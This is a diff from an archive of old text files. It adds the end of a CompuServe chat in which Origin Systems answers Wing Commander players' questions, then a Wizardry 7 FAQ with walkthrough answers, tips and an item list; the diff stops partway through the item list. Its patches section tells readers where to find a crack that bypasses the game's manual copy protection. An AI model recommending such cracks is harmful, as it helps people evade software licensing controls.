some. (Also +you can communicate via CompuServe). + +(Jeff Horrocks/HOST) Next up is Mike Barrs, Take it Mike! + +(Mike Barrs) Do you research a game like WC, read sci-fi, watch movies or just +think it up from scratch? + +(Origin Systems) Good question Mike. I watch a lot of movies, read a lot of +books, and play a lot of games. And I put a lot of serious research into flight +dynamics to make sure the flight sim seemed right. + +(Mike Barrs) You did great, thanks! + +(Jeff Horrocks/HOST) Next up is Thomas Rice. Go on Thomas. + +(Thomas Rice) I have a 286 AST Premium and I cannot load WC at all ;( .?!? + +(Origin Systems) Sorry about the problem with the 286 AST. I don't wanna brush +you off, but call Customer Service for a fix. + +(Jeff Horrocks/HOST) Chris can't do much about that here and now Thomas. You +should call their customer support. But at the same time I would mention that I +haven't gotten an answer to my customer support question over on GAMPUB Forum +for at least five days. + +(Thomas Rice) Ok, Thanks. + +(eric H. anderson) Chris, great game. In your opinion which is the better sound +board, AdLib or Sound Blaster? + +(Origin Systems) Sound Blaster is better since it also offers digitized voices +which we are going to be using in the future. + +(Jeff Horrocks/HOST) I'll jump in line to take a turn with a question. Are you +considering making the choice of picture for a pilot user selectable, maybe +even offer a woman pilot? over + +(Origin Systems) Yes, but the problem with that is that your character will +appear in many scenes and will need multiple graphics files to accomodate the +variation of characters. + +(Jeff Horrocks/HOST) One more, what's been your best selling game? + +(Origin Systems) THIS ONE! + +(Jeff Horrocks/HOST) One or two more questions, then we wrap this up. Thanks +for staying so long guys! + +(BRIAN ESCH) Is there a problem with sound degradationas as the game +progresses? I have a Sound Blaster and 2 meg. + +(Origin Systems) I don't think so, are you experiencing it regularly? + +(BRIAN ESCH) Yes. + +(Jeff Horrocks/HOST) Brian, take it up with customer service. They can help the +most. Jon, A last question from you? + +(Origin Systems) Good answer. Thanks Brian. + +(Jon Oakes) Any chance of a mission construction set? And also how do I apply +to be a beta tester for WC2? + +(Origin Systems) Another possible add-on disk for WC2. Secondly, if you live in +Austin Texas you might be able to get a job as a beta tester. + +(Jon Oakes) Heh, maybe I'll commute from California! + +(Jeff Horrocks/HOST) So you don't use any outside testers? + +(Origin Systems) No, not usually. We have a large QA staff for testing (15 +people). + +(Jeff Horrocks/HOST) It seems like it. We haven't had any widespread problems +other than joystick stuff. Hmmm, lets see... Who's idea is the orchestra at the +startup? And can you say something about Origin FX which you worked on? + +(Origin Systems) I guess I'm responsible for the Origin FX and orchestra stuff. +Origin FX is our new core graphics and sound system that will be driving our +new releases in the future. + +(Jeff Horrocks/HOST) Very neat touch. I like the orchestra bit. I have a Sound +Blaster, will the people really talk if I have enough expanded memory, like +500k? I see their lips move very realistically. + +(Origin Systems) Yes, in WC2 the speech will be used during flight simulation +only due to lack of disk space, but on the CD ROM version the characters will +speak everywhere in the game. + +(Jeff Horrocks/HOST) How do you 'research flight dynamics'? + +(Origin Systems) Well 4 years of physics in the UK and a high interest in WW 1 +and 2 air combat, plus flying radio controlled aircraft. + +(Jeff Horrocks/HOST) Is message speed 1 the fastest and 5 the slowest? + +(Origin Systems) Yes. + +(Jeff Horrocks/HOST) Thanks very much! I hereby declare the formal CONference +over! Thanks VERY VERY much Greg Malone and Chris Roberts for making this a +fabulously successful CONference! I invite everyone to stick around for a +minute or two of informal chatter. + + + + + +(Origin Systems) Thanks for having us. Enjoyed it! Scorch the furballs! OVER +AND OUT! + +(Jeff Horrocks/HOST) What a hoppin' CON! I haven't been in one like that in a +long time! I still have four or five good questions! + +(Tsunami/Ass't SysOp) I gotta run too! Great job Jeff! Good questions all! + +(Jon Oakes) That was definitely a classic. + +(Jeff Horrocks/HOST) Great member participation. See you all around. + +[EDITOR: As the CON winds down, most of the attendees have left the room now.] + +(BRIAN ESCH) Origin has not been forthcoming in its forum support, has it? + +(Jeff Horrocks/HOST) Yes, I think that's their reputation. I'm sorry we +couldn't hit them on that point either. + +(BRIAN ESCH) Really. + +(Jeff Horrocks/HOST) But it's not Chris' fault that the product isn't +supported. I have had a question in to them for days and no answer. But they +did just switch CIS reps only a few weeks ago. + +(BRIAN ESCH) Did you succeed in WC? + +(Jeff Horrocks/HOST) Not yet. + +(BRIAN ESCH) How far did you get? + +(Jeff Horrocks/HOST) I'm hung up on a mission where I have to save a Ralari +from being blown up. + +(BRIAN ESCH) You can't win that one. Just move on. + +(Jeff Horrocks/HOST) I just might, but the next one's no peach either. I'm not +enjoying it as much now as I was earlier because of the difficult missions. +Also I have worked a long time trying to get the dang expanded memory thing to +work with my hardware. + +(BRIAN ESCH) I know, move on anyway. Jeff, you should have held Origin +accountable for the hardware stuff, pal. + +(Jeff Horrocks/HOST) Lets blast them later. I'll join in. But, realize Chris is +just a designer, and customer support is a different ballpark. + +(BRIAN ESCH) Gothcha. Then why did he sign on as Origin? + +(Jeff Horrocks/HOST) Because it's Origins CIS account he was using, and he does +work for them. But he's a designer/director, not customer support liason. I +am with you, I want answers for my problems too. But reaming Chris wasn't gonna +get us anywhere. We got a telephone number from him. Maybe we should hit that. + +(BRIAN ESCH) I have certain answers. + +(Jeff Horrocks/HOST) Go ahead. + +(BRIAN ESCH) I called their support line. It helped. Like your memory for +instance what are files and buffers set at? + +(Jeff Horrocks/HOST) I have tried both defaults (none specified) and 25. + +(BRIAN ESCH) That won't work. Try setting files=5 and buffers=5 makes a *big* +diff. + +(Jeff Horrocks/HOST) Will do. Will try it right now. I should dash off. Great +chatting with you. Thanks for coming! + + \ No newline at end of file diff --git a/textfiles.com/games/wiz7.txt b/textfiles.com/games/wiz7.txt new file mode 100644 index 00000000..26ae4004 --- /dev/null +++ b/textfiles.com/games/wiz7.txt @@ -0,0 +1,1157 @@ +-------------- wizardry 7, crusaders of the dark savant FAQ ---------- + +Last modified 94-01-14 + +To see what's new, look at the log at the end of the FAQ. + +You can find the latest version in www on adress : + +http://www2.e.kth.se/~johansso/www/wiz7.html or if you have AFS, +file://localhost/afs/e.kth.se/home/e90/johansso/www/wiz7.html + +I'm trying to post it at the end of every month at comp.sys.ibm.pc.games.rpg + +you can get it by ftp from + +wcl-l.bham.ac.uk:/pub/djh/faqs +or +ftp.netcom.com:/pub/av/avatarx/faqs + +My own account is ftp-able so you can get the faq (wiz7.faq) , the +paches and the cheats from : zafir.e.kth.se ~johansso/www/wiz7www/ + +Send any comment or suggestions to : +johansso@elixir.e.kth.se + + +Wizardry 7 FAQ + +Index: +1. Choosing a Party +2. Changing Professions +3. General Playing Tips +4. Places +5. Other Questions +6. Patches, cheats & cracks +7. The items in the game +8. Credits + + +1. Choosing a Party + +During character creation, you get a number of bonus points, randomly +generated. Keep rolling until you get a reasonably high set of bonus +points -- there's no sense in starting off with a weak character. + +You want all your characters to be magic-users of some kind, even if +they're primarily fighters. For example, don't settle for a fighter; +wait till you get enough bonus points to get a valkyrie, a ninja, a +monk, or some other magic-using class. You may have to try again and +again before you get a decent number of bonus points; the average +seems to be about 10, but if you try often enough you can get twice +that. I wouldn't settle for anything less than 15. You want your +characters to start as powerfully as possible, so they aren't always +dying in the early stages of the game. + +Note: Some people on the net have pointed out that in the later stages +of the game, your front-line fighters have such great weapons, you +don't want them to waste their time casting spells. I would say that +it depends on the spells. First of all, the more people who have Heal +Wounds, the better. Second, spells like Silence, Dispel Undead, and +Astral Gate can quickly neutralize groups of magic-using attackers, +and this is sometimes crucial to winning a combat. It's true that +your front line usually just bashes away with their Light Sabers, +Excalibur, and all the rest...but from time to time, it's tremendously +helpful to have them cast spells instead. + +I have observed that different races recover magic points at different +speeds. Since you can't change races, pick races that can recover +magic quickly -- you don't want to be stuck with slow-recovering +characters later in the game. Good races: elf, gnome, faerie, rawulf, +mook, and maybe felpurr. Other races are slower to get back magic +points. + +Beginning parties should contain a mage and priest. These "pure" +classes learn spells faster than classes that mix magic with better +fighting ability (e.g. bards, rangers, etc.). They can change later +on, once they've acquired a good mix of spells. Even if you have +enough points to become one of the advanced characters (Bishop, +Samurai, etc.) pick simple characters (Mage, Priest, etc.) to start +out with, because they advance faster than the advanced classes. + +Spells you want ASAP: + Pr: Heal Wounds, Bless, Cure Poison, Silence, Hold Monster + M: Energy Blast, Direction, Knock-knock, Magic Missile, + Sleep, Blinding Flash, Wizard's Eye, Fireball, Iceball + Ps: Heal Wounds, Identify, Divine Trap, Silence + Al: Heal Wounds, Acid Splash, Cure Poison, Fire Bomb + +Many other spells are useful to have (three cheers for Nuclear Blast!) +but the above are the ones you should aim for first. + +Just for the sake of interest, my party started as: + Rawulf Valkyrie (F) + Felpurr Monk (M) + Dracon Ninja (M) + Gnome Priest (F) + Human Bard (F) + Elf Mage (F) + +I found that the human just couldn't keep up with the others. I +wanted to use her as a spellcaster most of the time, but she just +didn't recover magic fast enough. Instead of a human, pick a +Faerie...but don't start the Faerie as a bard, because a Faerie +Bard doesn't get the Lute of Sleep that other bards start with. + + +2. Changing Professions + +When you change professions, you go back to experience level 1 in the +new profession. Your stats drop sharply, but your skills remain the +same. Furthermore, you retain all the spells and spell points your +character had already acquired. + +In order to consider the good and bad points of changing professions, +let's look at a level 10 mage who is considering a switch to a +samurai. If the mage has just turned level 10, he needs 300,000 +experience points to reach level 11. If he switches to a samurai, +those same 300,000 experience points will get him back to about +experience level 8 as a samurai. Thus, if the character stays a mage, +those 300,000 points give him only one skill improvement (from level +10 to 11); if the character changes to a samurai, the character gets +*seven* skill improvements. + +The moral is clear: if you want to improve skills quickly, switch +professions somewhere around level 10. The price is that your stats +go back down to pretty pathetic levels, but they increase fairly +quickly again. + +Other things to consider: low level characters can only cast spells at +low levels. Thus your level 10 mage may be able to cast a 7-dice +fireball, but your level 1 samurai will only be able to cast a 1-die +fireball, even if he has plenty of spell points available. Don't +switch professions just before you go into a major fight, and don't +switch professions for all your characters at once. Stagger your +switches so that you always have a few reasonably high level +characters, so they can cast high level spells. + +Certain other skills also depend on experience level. For example, +the ninja and monk natural armor class advantage is based on a +combination of ninjutsu skill and experience level. For every +experience level you increase, your AC can go down -1 if you have a +high ninjutsu rating. Therefore switching classes (temporarily) +negates a huge AC advantage if you're a monk or a ninja. + +Just for the sake of curiosity, I kept one of my characters in his +original profession for the whole game: a Dracon Ninja. By the end of +the game, *all* of my other characters had skills of 100 in Kirijutsu +and Ninjutsu; the original Ninja didn't. Also, all my other +characters had scores of 100 in at least two magic disciplines; the +original Ninja only had about 60 in his first discipline (Alchemy, of +course). Finally, the original Ninja was only about 4 experience +levels ahead of the next closest character. Changing professions +really does make stronger, more versatile characters, more quickly. + +Note: To change to a new profession, you need the minimum stats for +that profession. Suppose you have a mage who you want to turn into a +monk, but who doesn't have enough Piety. Keep clicking on the mage's +candle to find out when the mage is getting close to going up an +experience level. Save when you get close. When the mage finally +goes up a level, the game increases various stats at random. If you +don't get an increase in Piety, terminate the game, load the previous +save game, and take another shot at it. Repeat until you get the +Piety increase you want. It may take some patience, but it saves time +in the long run. + + +3. General Playing Tips: + +Save, save, save. And save again. Before you try to open any chest, +save; that way if you set off traps, you can back up and try again. +Same thing before you try to open any locked door, and before you go +through any doorway (since many doorways have combat on the other +side). + +If a character dies in combat, terminate the game and load your +previous save game. With patience, you can get through the game +without ever having to resurrect a party member. If everyone survives +a combat in reasonably good shape, save immediately. + +Save before you rest. If you get through the rest period without a +battle, save before resting again. It's a "ratchet" approach to the +game; if something good happens, no matter how small, save so that you +can move forward from that good point. + +Don't kill NPCs until you're absolutely sure you've wrung them dry of +all relevant information. If you happen to kill an NPC by accident +(because they got angry at you and attacked), terminate the game and +load your previous save game. If you kill the wrong NPC, you may end +up in a position where you have an extremely difficult time finishing +the game. (Note: some NPCs can show up with annoying regularity. +Hold your temper, at least until you get the *LEGEND* map. You +cannot win the game without this map.) + +Take notes. Lots of notes. Also make maps when you need to. The +automapping feature is okay some of the time, but in places like the +Halls of the Past (under the Isle of Crypts) and the Temple of Aerial +Whimsey (in Dane Tower), you need to make your own maps to keep track +of teleports. + +Before you get rid of anything you pick up, take it to an NPC (like +the Innkeeper in New City) and try to sell it. He'll say "YOU NEED +THAT" if it's a crucial artifact of the game. + +Have your characters specialize in skills. For example, have one put +points into Searching, one into Mapping, one into Artifacts, and so +on. Never spend points on Oratory--it goes up automatically. Same +thing with mythology and combat skills. + +Beginning characters should put one or two points into swimming with +each level increase, until each character gets to 10 pts. After that, +forget it. 10 points means you can survive one second in the water, +and after that, each time you go into the water, you automatically +gain a point. Thus as soon as everyone gets 10 points of swimming, +swimming practice will give you as many additional points as you want. + + +4. Places: + +The following list looks at various places in Lost Guardia and the +most frequently asked questions about them. I present them in the +order I got around to them in the game. + + +4.1. Outside New City: + +Suggestions: explore the outside of New City first. In particular, go +down the ladder just outside the walls of New City -- there's a little +dungeon there that seems specifically designed as a training ground: +easy monsters, a few secret doors, etc. (You won't have any spells to +find secret doors yet, so just make sure you look at every wall you +pass. The big blue buttons for secret doors are pretty obvious.) + +Where do I find the mapping kit? + A short distance to the south and east of where you wake up, you + can find a treasure chest with a mapping kit inside. You'll know + you're going in the right direction when you get a message saying + the woods seem creepy; some distance further on you hear + creatures gnawing on bones, then fight a bunch of Alliphoots and + Dandiphoots. (This is a tough fight if your characters are only + level 1; better to try the little dungeon first.) Beyond the + phoots, just keep going south and east; you really can't go wrong + unless you double back on yourself. (Have your mage cast + Direction so that you know which direction is which.) + +How do I get across the field of orchids? + Don't try it when you start the game. Later on, your characters + will have no trouble staying awake if they really want to cross + it, but there's nothing interesting there. + +What does the flying whale mean? + Nothing much; it could be referring to a spaceship landing in + Nyctalinth. + + +New City: + +How do I get into New City? + Mention the armorer, whose name you found in the dungeon under + the city. + +How do I get into Umpani Detache? + Wait -- once you get to Ukpyr, you can teleport to Umpani Detache + with the Umpani teleport + +What should I buy from the Innkeeper? + You'll need bananas later. + +How do I get into the T'Rang house? + Wait -- once you get to Nyctalinth, you can teleport to the + house. + +How do I get into Old City? + The librarian has the key; ask him about ARCHIVES. The entrance + to Old City is in the Condemned Area. + +How do I get into the Curio Museum? + Use the penny. + +What do I do with the heads in the Curio Museum? + The *BOAT* map tells you what to do with them. + +How do I open the door with the colored lights? + Read the black wafer; it suggests the sequence of colored buttons + you have to push. + +How do I open the security door? The black wafer just sets off +alarms. + You need a control card...found later in the game. + +How do I get into the Weaponry Shoppe? + Talk about the BLACK MARKET. + +General Notes: Make sure you go everywhere. Eventually, you'll need +to get to the statue in the middle of the pool, but don't try it until +everyone in the party has at 10 points of Swimming. Search at the +statue's feet. Talk to the priest in the temple. + +When you free the prisoner from the jail, make sure he doesn't leave +without talking to you. If necessary, terminate the game and load +your previous save game. Keep at it until he talks to you. He'll +send you to Orkogre Castle. + + +4.2. Orkogre Castle: + +Why can't I get into anyplace interesting? + There are hidden doors in various places. A "Detect Secret" + spell should find them. If you don't have that spell yet, walk + around looking at every wall; the big buttons to open secret + doors are fairly obvious. + +How do I get into the Outer Sanctum? + Go to the blood stains. Search. Then use the Polished + Steelplate. + +How do I get into the Inner Sanctum? + Go through all the cells in the prison. You'll find more secret + doors. The buttons you press may open up secret doors in places + you've already searched, so go back through a second time. + +How do I get into the Throne Room? + You want to catch the monkey's attention. Back in New City, the + innkeeper sells bananas..., or you can find some in one of the + prison cells. + +What do I tell the king? + THE DARTAEN ALLIANCE IS BROKEN! + +The king sent me to get something, but it was missing by the time I +got there. Am I in trouble? + No. Part of the story underlying the game is that other people + are looking for the same things you are. Sometimes, they may get + certain objects ahead of you, particularly maps. Don't worry. + Throughout the course of the game, your competitors slowly kill + each other, so that the goodies become concentrated in the hands + of a few characters. Find those characters, and you find all the + things that were stolen before you got there. + +I couldn't get past the spectral ravens in the inner sanctum the first +time I encountered them. However, when I had gained a little more +experience, I thumped them easily. + + +4.3. Munkharama: + +What do I tell Brother T'Shober? + SLAY NOT HE THAT CANNOT HEAR. + +What good is the polar bear? + When you invoke the polar bear, it supposedly adds to your + Swimming ability. I never noticed this myself, but others + on the net say it is so. + +What is the answer to the well's riddle? + COINS. (What else do you put into a well?) + +How do I get into the temple? + Swim out to the statue. Search in the little pools around the + statue; you'll find jewels of various colors. Put each jewel + into the urn whose color matches the jewel. Go back to the + statue and use the item you found at the base of the statue back + in New City. +I've searched the temple, but there's one room I can't get into. +Every time I try, I fall into a trap door. + Take the notched stick and go around to the rear of the room that + contains the trap door. Stick the stick in the hole. This locks + the door in place and you can go on your way. + +I've retrieved the Holy Work from the temple, but I can't get into the +Land of Dreams. I don't know what to tell the guy inside. + The front door of the Land of Dreams has a second name on it: + GRAN MELANGE. Talk about this to the apothecary, and he'll tell + you the answer to the question that the fellow inside the Land of + Dreams asks. + +What do I do with the Pipe and the Pastille? + Merge them. Go through the black door. Sit through a vision of + the end of the world. After the vision is over, use the Pipe and + Pastille. You'll get a different vision and be able to move on. + +Where are the five flowers? + You can find three of them by going through Ukpyr and exploring + the region to the north. To find the other two, go back to the + place north of Munkharama where the river crosses the road. Go + east for a while along the south side of the river. Then swim + across the river and thoroughly explore the region on the other + side. This will require going through mountains. + +I can't figure out how to combine the five flowers, as described in +Xen Xheng's note. + The trick is that you have to use Holy Water. You can buy some + at the apothecary's. + + +4.4. Ukpyr: + +The Umpani won't let me in. + You must have alienated an Umpani somehow. Go back to the black + market guy in New City and strike up a deal. That should make + you friends with the Umpani again. + +Should I join the Umpani forces? + It's useful. They give you good stuff like guns, and the thermal + pineapple. + +But if I join the Umpani, I can't join the T'Rang. + You can work for both. I joined the Umpani in Ukpyr, then ran + across the T'Rang north of Ukpyr who asked me to betray the + Umpani. I didn't; I killed the T'Rang instead. However, later + on, the T'Rang in Nyctalinth still tried to recruit me and I + decided to join them. In my opinion I got the best of both + worlds...and after I had milked the T'Rang for all the + information I could, I used the Thermal Pineapple from the Umpani + to trash the T'Rang eggs. + +4.5. North of Ukpyr: + +How do I get across the whirlpool? + Use the rebus egg. + +Should I work for the T'Rang? + I said I would, then lied to them. They got upset and attacked, + but they were easy to beat. + +Why does it tell me that I get an eerie feeling in a certain spot? + The spot is haunted. Remember where you are; you'll have to come + back to this spot later. + +A raven flies overhead and says, "Al-bie..." What does this mean? + Darned if I know. But the raven might be trying to say "Help me" + + +4.6. Nyctalinth: + +Should I work for the T'Rang now? + Yes. H'Jenn-Ra T'Rang will tell you the combination to get the + *BOAT* map from Rattkin Ruins, and will also let you use the + T'Rang teleport facilities. + +What do I do in the graveyard? + Make sure you've explored the rest of Nyctalinth first. Then + start by digging up graves. You'll fall through into a huge + underground complex. This complex leads to yet another statue + where you should search for something useful. + +How do I get past the eggs? + Use the thermal pineapple. + +What do I do with the frozen Savant Troopers? + Use the Mystery Ray. You'll find out something interesting. + +How do I get the wand that the ghost keeps stealing? + Use the TYDNAB EMYT statue in the empty tomb. + +What do I do with the wand? + Equip it (it's cursed) and you'll be able to go through the force + field to find something useful. + + +4.7. Rattkin Ruins: + +How do I get in? + Just off the road on the way to Rattkin Ruins, there's another + small ruin. Go in and you'll have a big fight with Man o' the + Woods (walking trees): a very nasty fight, with three rounds. + After the fight, put the Bonsai Tree (from the Inner Sanctum + of Orkogre Castle) in the middle of the pavement in the middle + of the ruins. + +Why should I care about Bertie? + He can sell you a potion that you need in the funhouse. + +How do I get into the Thieves' Guild? + Down on the ground inside Rattkin Ruins, try to pick Blindmeis's + pocket. You'll get a ring. Take the ring back up to the Thieves + Guild entrance, put on the ring, and stick your hand through the + window. + +How do I get into the Funhouse? + Talk to Blindmeis in the Thieves Guild. + +What do I do with the teeter-totter? + Wind up the weight with the spool handle. Put the rubber band + onto the strange device with two blades. Drink the featherweight + potion before hopping on the teeter-totter. + +What do I do with the dowel? + Stick it through the hole in the wall. It will come in handy + later. + +How should I set the levers? + The levers control the direction you go on the water slide. + First, take the rope that's attached to the bar and lower it down + the hole near the top of the water slide. Then experiment with + the levers. I just treated the five levers as a binary counter, + with up counting as a 1-bit and down counting as a 0-bit. It's + easy to walk through all the possible combinations in a + methodical way. + + You can try this combination, I still don't know if it's the correct + so mail me about it please. + First, some definitions. "Top" means the lever most towards the top + of the monitor on the upper level (the one with 3 levers on it) + when looking at the level using the map kit, "Right" means the + lever most towards the right of the monitor screen, etc. For the + levers, 1=down and 0=up. + + Top 1 + Right 0 + Left 1 + Bottom level Top 0 + Bottom level Bottom 1 + + +What's the proper combination of the spears? + H'Jenn-Ra T'Rang tells you. + It is 534261 + +How do I tell Don Barlone what he wants? + You need the T'Range Portbook and the TX-Decoder. Use the + Decoder on the Portbook. + + +4.8. Giant's Cave: + +This is just a straightforward slugfest. You need the Necromantic +Helm for later. + + +4.9. Witch Mountains: + +What do I do with the vines? + Merge them into 1000' of vines. Use the result at the huge + "unscalable" cliff so you can get down into the Tramontane + Forest. + +How do I find out the names of the witches? + Go to the "haunted" spot north of Ukpyr. Put on the Necromantic + Helm. Wait till the darkest part of the night (midnight). You + will see a haunting that will tell you the names. + +4.10. Dane Tower: + +What do I do with Jonga powder? + On each level, there is a little urn. Sprinkle Jonga powder into + the urn and it deactivates certain traps on the level. The traps + won't stop you, but they will blast you, paralyze you, drive you + mad, etc. + +What's the story about Belcanzor? + You can find him by day in his shop in Dane Tower. You can find + him by night at his shop in New City. + +In the Temple of Deadly Coffers, I can't get the gate open. + You probably have several coffer keys, you tried one and it + didn't work. The trick is that each coffer key is different, and + only one of the keys works on each gate. By the way, after + you've opened all the gates on this level, you can throw away + your surplus coffer keys; you'll never need them again. + +When I meditate on the word "Moo", some of my characters go to sleep? + The ones who manage to stay awake get 1 point of Mind Control + skill. Therefore, you should meditate, step out of the spot, let + your people wake up, and step back to the spot again. Keep doing + this until everyone has stayed awake at least once, so that all + your characters have the Mind Control skill. If you're patient, + you can keep stepping in and out until all of them have raised + their Mind Control skill as high as you'd like. + +What do I do with the Book of the Immortals? + Read it to see how to summon the demon...but to kill the demon, + just whack it. It's not that tough. + +How do I get into the Magna Dane's room? + Search the Magna Dane's body. He's carrying a ring. Use the + ring on the door. + +How do I get into the last treasure room? + There's a secret door from the Magna Dane's room. Use the + demon's horn. + +What do I do with the jeweled pillow? + Sell it; it's worth money. + + +4.11. Return to New City: + +How do I enter the Security Room? + Use the control card. Use the Blackship command server number + (found in Nyctalinth) to check up on Vi Domina. Use the Security + Access server number (given by the malfunctioning Savant Trooper + under Nyctalinth) to free her from the cell. + +What do I do with the consol ? + Try looking up Vi Domina in the personal files. (Host : Black ship command) + +How do I free Vi? + Use the consol (Host: central security) + +What is the codes for the consol ? + SERVER : 023@41A2 + HOST: Black Ship Command + + SERVER : 018@67c1 + HOST : Central Security + +What do I do with the *BOAT* map? + It contains the secret of the heads in the Curio Museum, and will + let you get the Wikum boat. + + +4.12. The Dragon Cave + +How do I get to the Dragon Cave? + Go through the mists to the cliffs at the south of Brombadian + Bay. Wait till night. You'll see a spot of light in one section + of the cliffs. Use the Coil of the Serpent, found in Dane Tower. + +Where is Bombadeg? + In the water in the middle of Dragon Cave. + + +4.13. The City of Sky: + +What do I do with the banner? + Give it to Ke-Li, Queen of Sky. She'll give you something that + will give you Eagle Eye. + +What is the answer to the first test? + The name of the Astral Dominae's creator -- see the beginning of + the manual. + +What is the answer to the second test? + Darned if I could figure it out. However, I have the following + advice from Guido Roessling: write down which buttons are + available, then consult the *STAR* map and look up your notes + on the Gaelin Stone from the Isle of Crypts. Each map entry + on the Gaelin Stone is represented by three symbols, and one of + those is available as a button. Start where the *STAR* map + tells you, and write down in which order you have to press + the buttons. If this doesn't work, try going the other + direction (clockwise, if you started counter-clockwise). + + Thanks to Guido. My own answer was to buy Ankhs of Might + from Ke-Li until everyone in my party was STR 18 or better, + then to force the door open. + +How do I get into the spaceship? + Talk: say the name of the creator (see the first test). + +How do I get the goodies in the Hall of Preservation? + Out in the courtyard, there's a little pavilion (very hard to get + to, thanks to those invisible barriers) where you can find a Key + of Light. You only get one key, so you have to decide which + treasure you want most. + + +4.14. The Isle of Crypts: + +What does the ghost mean by BMOCYENOBB? + Read it backwards -- boney combs (sort of). Way back in Orkogre + Castle, you probably found some bone combs in the Queen's + Bedroom. Now in the tombs you'll find a regal-looking female Ork + corpse. Give her back the combs and the ghost will be laid to + rest. + +How do I open the gate with the dragon on it? + You need the Key of the Dragon, found in the Dragon Cave. + +How do I kill monster X in the Tomb of Gorrors? + Hard work and taking a dozen cracks at it...but you don't have to + kill any of the monsters to finish the game. They're just thrown + in to let you build up experience points and to give your hot- + shot parties a real challenge. But you can get some really good + stuff here as random treasure (things like Faerie caps, Excalibers, + Meanad's Lance) + +How do I open the gate with the skull on it? + Go to the Gaelin stone. Use the *LEGEND* map on each face. This + will produce the needed key. + +How do I find the jewel of the sun? + Go to the skull door. Cast a Wizard's Eye at the 7-dice level. + Off to one side, you'll see a secret tunnel beginning from a + water square. Go to the water square, open the secret door, and + follow it to the jewel. + +What do I do with the jewel of the sun? + Go back up to ground level. Close to the Isle of Crypts are two + smaller islands with cubes on them. Each cube has a false wall + that you can walk right through. Enter one cube; use the jewel + of the sun. Enter the other, and wing it. + +Tell me about the Hall of the Past. + It's filled with visible and invisible elevators which take you + up or down levels. The whole place consists of eight 8x8 + squares, and finding your way through is a nightmare. You just + have to map, using the automap feature liberally. + +What do I do in the pentagram of the Hall of the Past? + Read the *CRYPT* map, and follow the instructions. + The right order is : DRAGON, TOWER, MOON, CROSS, SKULL, STAR + and EGG + +All right, here I am, finally at the Tomb of the Astral Dominae. What +do I do now? + If you have the globe ring (from the spaceship in the City of + Sky) and the amulet (obtained by playing with the jewel of the + sun up in the cubes), you're ready to summon Vi Domina and the + big bang-up fight with the Savant. By the way, have one + character Use the Elysium of Divinity in the first round of the + fight; that's what it's for. + + +5. Other Questions: + +How do I get personal skills? + Firearms -- sign up as a recruit with the Umpani in Ukpyr + Mind Control -- meditate on the word Moo in one lighted area of + the dark level in Dane Tower + Eagle Eye -- give the Helazoid Banner to Ke-Li in the City of Sky + Reflexion -- ask Blindmeis about Reflexion in the Rattkin Ruins + Snake Speed -- this comes from the potion you mix from the five + flowers + Power Strike -- [from the amulet of power (found after the battle + with Ymmu in the cemetery of Nyctalinth)] This is probably false + information, It can be from an item in a chest located on the way + to witch mountain. I'll check this out as soon as possible. + +How do I find out useful things? + Ask every character you meet about RUMORS. They'll charge you 50 + GP, but they'll often tell you useful things. + +What maps are there and what do you use them for? + BOAT -- tells you how to work the heads in the Curio Museum to + gain access to the Wikum boat + CRYSTAL -- tells you the order to push symbols in the pentagram + area of the Halls of the Past, in order to open a door + leading to the final level + DRAGON -- gives clues for how to open the Dragon Cave in + Bombadian Bay + FOOLS -- useless + GLOBE -- is secretly aimed at Vi Domina and tells her how to open + the Tomb of the Astral Dominae + LEGEND -- Use this map on the Gaelin Stone to obtain a key to the + Halls of the Past; this is the one map you must have in your + hands at the time; with all others, you can just read them, + copy down their contents, then drop the map + SERPENT -- supposedly tells you how to make your way through the + Dragon Cave; I didn't need it + STAR -- tells you how to use the information from the Gaelin + Stone to pass the Second Crusaders Test + TEMPLE -- tells you how to open the Munkharama temple + +6. Patches, cheats & cracks: + +I have collected the paches and cheats on my account, so you can get +it by anonymous ftp from : zafir.e.kth.se ~johansso/www/wiz7www/ + +Wiz 7 won't run on my brand new Pentium, what should I do? + + Try the patch in ds.zip + +Are there more patches for wiz7 ? + + There is a patch called cdspatch.zip that might help you + +Are there any cheats for wiz 7 ? + + Yes, there's a savegame editor, look for wiz7edit.zip. + +How can I loose the manual check ? + + There's two cracks so that you don't have to search for the right + word in the manual, but wiz7crack messes up the game, you get one + of the worst fights at the start and only magic works :-(. But + dscrack seems to do the job, and it doesn't change any files. So + look for dscrack.com or zip. + Ps. Check your laws if it's legal to use the crack DS. + +7. The items in the game + +This is an item list generated using the Identify spell and a lot of patience! +Unfortunately identify seldom tells all the special powers of an item. These +'specials' have been determined using the good old trial and error technique. + + +Legend: Special When equiping the item, wizardry asks if you wish + to use the items special power. Where three question + marks are, the special power is not know. + WARNING: Usually when special item are used this way + they disappear permanently. Some items can + be used multiple times before disappearing! + + KIA Critical kill ability + STONE Can possibly stone target + PLYZE Can possibly paralyze target + KO Can possibly knock out target + POISON Can possibly poison target + DRAIN Can possibly drain stamina from target + + P Primary Weapon + S Secondary Weapon + M Missile Weapon + A Ammo for Missile Weapon + + Cursed This item is cursed. Cannot be removed without + a remove curse spell + + Regen Regeneration + + C Works on charges + #/# First number indicates the spell power. Second + number indicates the number of charges. + NOTE: This is the number that the spell identify has shown. + I do believe that the power level (first number) + remains costant BUT the number of charges COULD change. + Just be forwarned! + + +Armour AC Special Resistances + +Chanmail Pants, +2-8Paralysis 20%, Poison 20% +Plate Mail, +3-13Fire 30%, Cold 30% +Bracers of Defence-2Missiles 10% +Robe of Enchant-6 +Wizard's Cone-2Magic 10% +Crusader Helm-8LifeForce 10% +Copper Gloves -10 +Goat Foot Boots -7 Special:+5 Climbing +Flack Vest-7 +Gown of Divine Mail (U)-10Lifeforce 20%, Death 20% + Regen +1, Cursed, Special:??? +Gown of Divine Mail (L)-10Lifeforce 10%, Death 10% + Regen +1, Cursed, Special:??? +Tosei-do -9 +Tarnished Mail-4 +Chain Hosen-8 +Mail Coif-5 +Chain Chausses-9 +Mail Mittens-6 +Shadow Cloak-1 +Midnight Cloak-2 +Burgonet Helm-8 +Flack Jacket-9 +Plate Mail +2-12Fire 20%, Cold 20% +Necromatic Helm-7Cursed, Light 50%, Hypnosis 50% +Stud-cuir Skirt-6 +Stud-cuir Bra-6 +Bascinet -6 +Bronze Greaves-7 +Oliveskin Leggins3Cursed +Shield of Soaring 3 Cursed +Heaume-12 +Black gown of Death-12Cursed, -3 Regen, Magic 90% +Heater Shield-3 +Silver Gloves-12 +Round Shield-2 +Solleret -10 +Magnetic Boots5Cursed +Plate Mail-10 +Leather Greaves-6 +Jazeraint Tunic-9 +Filcher's Band -1 Special: +5 to Legerdermain Skill +Bascinet & Camail-9 +Deathmail8Cursed, -1 Regen +Cap of Wiles4Psionics 10% 